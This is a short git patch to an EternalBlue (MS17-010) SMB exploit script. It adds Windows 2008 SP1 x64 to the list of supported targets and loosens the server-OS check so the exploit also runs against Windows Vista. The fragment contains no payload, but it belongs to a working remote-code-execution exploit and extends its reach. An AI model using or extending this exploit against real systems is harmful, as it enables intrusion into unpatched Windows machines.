From eafb47d715fe38045c9ea6dc4cb75ca0ef5487ce Mon Sep 17 00:00:00 2001 From: worawit Date: Tue, 18 Jul 2017 06:35:15 +0700 Subject: [PATCH] allow no tested target --- eternalblue_exploit7.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/eternalblue_exploit7.py b/eternalblue_exploit7.py index 0518ffd..49c77fd 100644 --- a/eternalblue_exploit7.py +++ b/eternalblue_exploit7.py @@ -12,6 +12,7 @@ - Windows 7 SP1 x64 - Windows 2008 R2 SP1 x64 - Windows 7 SP1 x86 +- Windows 2008 SP1 x64 - Windows 2008 SP1 x86 Reference: @@ -475,7 +476,7 @@ def exploit(target, shellcode, numGroomConn): conn.login_standard('', '') server_os = conn.get_server_os() print('Target OS: '+server_os) - if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os)): + if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")): print('This exploit does not support this target') sys.exit()